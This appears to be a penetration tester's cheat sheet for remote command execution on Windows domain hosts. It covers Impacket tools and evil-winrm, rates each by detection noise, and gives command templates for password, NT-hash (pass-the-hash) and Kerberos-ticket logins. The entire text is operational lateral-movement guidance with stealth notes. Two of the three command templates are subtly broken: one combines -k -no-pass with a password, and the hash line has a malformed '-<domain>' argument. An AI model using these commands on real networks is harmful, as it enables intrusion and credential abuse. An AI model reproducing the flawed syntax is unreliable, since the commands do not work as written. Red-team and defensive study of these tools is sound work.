Remote Execution Tools

Tool	SPN type	Note
impacket-smbexec	cifs	Medium noise; service exec; stable SMB shell.
impacket-psexec	cifs	High noise; drops service; use for reliability.
impacket-atexec	cifs	Low noise; scheduled task; one-offs.
impacket-wmiexec	HOST	Low noise; WMI; fileless; needs RPC.
impacket-dcomexec	HOST	Medium noise; DCOM activation; when WMI blocked.
evil-winrm	HTTP	Medium noise; PowerShell; use when WinRM enabled.

Kerberos usage

Add KRB5CCNAME=user.ccache directly before the command.

impacket-tool Basic Usage

Password Authentication

impacket-smbexec -k -no-pass <domain>/<target>:<password>@<host_fqdn>

NT Hash Authentication

impacket-smbexec -<domain>/<target>@<host_fqdn> -H '<nt_hash>'

Kerberos Authentication

KRB5CCNAME=user.ccache impacket-smbexec -k -no-pass <domain>/<target>@<host_fqdn>